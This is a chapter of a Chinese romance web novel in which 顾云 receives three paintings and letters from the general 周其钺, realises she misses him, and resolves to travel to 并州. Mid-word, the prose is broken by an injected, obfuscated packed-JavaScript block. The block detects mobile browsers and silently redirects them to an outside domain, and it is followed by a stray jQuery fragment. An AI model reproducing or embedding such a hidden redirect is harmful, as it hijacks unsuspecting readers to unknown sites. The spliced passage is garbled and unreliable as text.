107. 想念
作品:《青云不待》 周其钺走后,突然下了一场秋雨,天气愈发地凉。
顾云的日子按部就班地过着,只不过影老板回京之后,三位女郎的相聚时间又多了起来。
再次相聚在鸣风书院的后堂,影老板卸了男装,又穿上了钟爱的艳丽色彩,一袭似火的红衣簇着她极具冲击力的脸庞,向顾云挑眉问道:
“怎么样?上次问你的问题,可是成真了?”
顾云福至心灵,想起上次周影打趣她说等她回京的时候该叫“嫂嫂”了,心口一颤,却装傻道:
“我听不懂你在说什么。”
影老板与言杞看着她这幅左顾右盼的样子,均笑而不语。
没一会儿,顾云还是没忍住对她坦白,杏眼圆睁,脸颊鼓鼓。
“好吧,我的确和他重新开始了。”
倒不是影老板刻意八卦,只是她感觉到她的状态明显不对。
她其实前些日子就回来了,三人也早就见过,还一起叽叽喳喳聊了好多塞外的奇闻轶事。
那时候的顾云,眉眼含笑、妙语连珠,可不像现在这样失魂落魄、时常走神。
影老板收起了打趣的表情,“可是有些担心他?”
这次顾云还没回答,言杞反倒先开了口,“那肯定,毕竟周大将军前些日子为了救阿云,差点丢掉一条命。”
顾云也不扭捏,点点头,面上露出些忧,看向影老板的眼神还带了些怯,好似有些怕影老板怪她,毕竟算是她害得她的家人身陷险境。
影老板看在眼里,冲她安抚一笑,“阿云别多想,他不想做的事情没人能勉强的。”
说起来,这件事情怎么算也不可能算到顾云头上,倒是殷修那个阴险小人,实在是可恨!
想必,他早就知道岳星赜的真实身份。当初在南风馆里意味不明地和她说要看“群臣之间的好戏”时,她没想明白怎么就涉及到“群臣”了。
结果,他那一步棋,将整个局面搅得混乱不堪。以顾云为代表的孤臣、以周其钺为代表的西北军功集团、以岳星赜为代表的世家纷纷登上舞台,更不用说,世家内部本就错综复杂,当真是上演了一出“好戏”。
他独倚帝座,静观台上来来往往,只待时机来临时出手,坐收渔利。
到头来,渔翁之利他收了,连累入局之人受的伤害却可以全然被撇清,等闲人看不出与他的半分关系,真是绝妙的手段。
影老板说不生气是假的,毕竟这次直接牵连到了她身边的人。她在心里打定主意,朝局之事她无法左右,但怎么也要从那小人手里多抽些利走才足以平她怒火。
想起自家因此受了重伤的阿兄又要上战场,她说不担心是假的,但这么些年,她好像已经习惯了。
当年周家的惨案,几乎举家覆灭,她侥幸被家中老仆段叔护着逃了出去,一口气跑了很远。再悄悄回去时,并州首富周家已被洗劫一空,连尸体都被处理干净了。
她只确定父母已经没了,阿兄呢?那日他是如往常一样不着调地在外玩乐,还是早早地回到了府上?
她不知道。
他还活着吗?
她也不知道。
后来,她在一次行商时偶然见到了他。
原来,他去从军了。
威风凛凛地带着一小队人马,眉眼如刀,气场强大,再看不出半点纨绔样。
再后来,她的生意越做越大,能够动用的人手也越来越多。得空时,她会去他所在的城镇,静静地坐在街边的小茶馆里,看他出征、回城、出征、回城。
战场凶险,从来没有人能保证每一次都平安归来。
但她阿兄在过去七年里,每一次都做到了。
她习惯了远远地看他出征,又静静地等他平安归来。
她看着他的铠甲愈发精致贵重、身后的兵士越来越多,也在心里打定主意要早早振兴周家的商业。
毕竟,她从小到大总是嘲讽他不学无术,要她如何以落魄的姿态去面对他?
他们周家兄妹想做的事情,总是能做到的。
她重新开拓了新的商业帝国,而他也势必可以延续不败的神话,再次平安归来。
影老板看向顾云,忽地一笑。
“快冬天了,过些日子我会随商队运些太乌山的皮草去并州,阿云可要请个调令,与我一同北上?”
顾云嘴巴微张,有些惊讶。
她觉得这场景有些似曾相识,上次周影也问她要不要请个调令离开。只不过当时是为了躲开烦人的周其钺,这次却是为了离讨厌的周其钺近一些。
她呐呐地发出一个音节,“啊?”
这种“千里寻夫”的桥段,放在她身上还是有些夸张了。
言杞看着顾云这幅惊呆了的模样,忍不住噗嗤一声笑出来,转头轻拍影老板胳膊。
“好啦,影子,别逗阿云了,人家在京城有阿娘有阿弟的,怎么会愿意跟着你在外奔波?”
“啧。”影老板轻飘飘看她一眼,转而对顾云道:
“不急,离我出发还早呢,阿云慢慢想。”
顾云两只手撑着脑袋,朝左看一眼周影,又朝右看一眼言杞,最终重重点了一下头。
......
周其钺走后的第三天,有人敲响了顾宅的大门。
来人说是将军府的家仆,怀里抱着一个细长礼盒,称是周其钺吩咐送来的画。
门房将东西送去顾云的院子时,礼盒表面沾上了些寒凉的秋雨。
顾云坐在书房,没有关窗,嗅着潮湿的冷雨,轻轻擦干了表面的水渍。
里面的确是一幅画,但除此之外,还有一封小小的信笺。
顾云将它拆开,银钩铁画的字迹扑面而来。
“当初答应你的三幅画,此为其一。看看可还满意?
不过,不满意也得给我收着。等我回来,我要看它出现在你书房的墙上。
秋风渐起,切勿受凉。
还有,不准忘记我。”
顾云扫完内容,一边忍不住笑,一边直翻白眼。
这股欠欠的劲儿,非常符合周其钺一贯的性格。
她将信纸放在一旁,拿出礼盒内的卷轴,缓缓在桌面上展开。
是她认得的地方。
行南山脚,平城西郊,尚有些春寒料峭。整幅画用色却活泼大胆,扑面而来的,是一派昂扬生机。
大片景物描绘之中,有一群小小的人。
衣着简朴、身形瘦弱的农人将一位女子簇在中间,神情认真地听她说着什么,而女子正指着身旁的大家伙木具,目光炯炯、神采飞扬。
是她。
画的是她当初带着独轮犁具去给众人示范用处的场景。
顾云忍不住端详画中女子的面孔。
她当初真的是这样子的吗?干劲十足,甚至有些张牙舞爪,好像下一瞬就要按着他们的头来试用她的发明。
顾云捂了捂脸,没忍住又朝画中看去。
一眼又看到了她自己。
她仔细看了看,才发现他把她放在了最明显的位置,无论是衣着还是神情,均是一群人之中描绘得最细致的。
而她面上满含希望的神情,看久了让人觉得似乎能把枝头的冬雪都融化掉。
她真的是这样子的吗?
她在他心中,原来是这样子的吗?
可她分明记得,那段时间才得知了家人的“死讯”,她萎靡不振了好长时间,连带着人都消瘦颓丧了许多...
顾云端坐在秋雨侵袭的屋檐下,忽然觉得有些脸热,伸手捂了捂脸,心里升起一股难言的感觉。
虽然周其钺信中的语气很讨厌,但她得承认,她是喜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16018400|177343||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
欢这幅画的。
他的书画审美一向很好,整幅画乍看是在描景,可只有知道那段日子的人才知道它的完整意义。
不张扬,用来挂在书房里,她能接受。
顾云将画收起,决定先学一学书画保养之道再将它挂出来。
她撑着头看着院中缠绵的秋雨,忽地有些好奇,这人分明走之前就安排好了一切,那剩下两幅画呢?
果然,又过了三日,同样的场景再次在顾宅上演。
天气好不容易晴了些,气温却日渐地冷。
顾云搓了搓微凉的指尖,打开面前崭新的礼盒。
又有一封信。
“第二幅,你最好已经将第一幅挂出来了。
我不在身边,累了要记得休息。
勿忘。”
从前倒不觉得,这人还怪唠叨的。而且,别人写信都说“勿念”,他倒好,张口闭口都是要她想着他。
顾云笑了笑,展开画卷。
这副的色彩极其艳丽,画的是新年夜。
街上张灯结彩、游人如织,酒楼灯火通明,摊贩叫卖不绝。顾云看着,仿佛再次置身于那年平城新年的街巷。
与上一副画类似,虽然画中的人物非常多,但要找到她自己并不难。
不绝如缕的游人中,她穿着色彩艳丽的蜀锦,正举着染霞挥舞,笑得纯粹,几乎将一整条街上的火树银花都衬得黯然失色。
顾云的心再次狠狠一动。
那天,其实她是有些同他置气的,结果转头就笑得这么开心吗?
而且,她哪有这么好看。画中的人眉眼一看就是她,可柔顺高挑的发髻、雅致贵气的珠钗、眉间艳丽的花钿,分明与她毫无关联。
哦不对,那日似乎春霞专门为她梳妆打扮了一番,可惜她实在是无心欣赏。
原来,秾艳的妆面,发自内心的笑,再配上精致艳丽的蜀锦,竟能让她这个平日里灰扑扑的农女也看起来那般夺目...
这人在画里做了什么手脚,她的心跳怎么突然这么快?
顾云捂了捂心口,不敢再看画中的自己,连忙将它收了起来,放在了上一幅旁边。
她推门而出,立于中庭,遥遥望着西边院墙那棵从将军府生长过来的树。
西风烈,吹落了树枝上的枯叶,如今只剩光秃秃的枝桠。
她得承认,她有些想他。
又过了三日,最后一幅画送来了。
这次却没有书信。
展开画轴,一副秋日丰收之景跃然纸上。
与前两幅不同的是,这次再没有从画里找到她。
或者说,这幅画里根本没有画什么人物,只勾勒了远处金黄田埂间几个佝偻农人的朦胧身影。
不知为何,明明画的是一副其乐融融的丰收景象,顾云却从中感受到了浓浓的苍凉。
斜阳残照,一个水车占据了不小画幅,挡住了观画人的大片视角。
画中溪流里的水位浅了不少,已无法再带动水车旋转,所幸丰收之时也无需再进行大量浇灌。
她突然想起,她没有在平城过过秋天。
三年前的初冬,她逃到平城,第二年的初夏,她又逃去了兖州。
而画里的水车分明是她和杨老所做,所以,这幅画应当描绘的是她离开之后的场景。
顾云看着,忽地有些明白为何这次他未留下任何书信——
想念这种东西,原来连他也羞于落到纸上。
顾云依旧将画收起,与前两幅并排放入箱内.
窗外的风依旧吹着,她坐在书桌前,久久没有动作。
又过了几日,到了影老板临行的日子。
三人再次相聚在在鸣风书院,不待二人开口,顾云便抬手将一纸调令丢到影老板面前。
“我和你去并州。”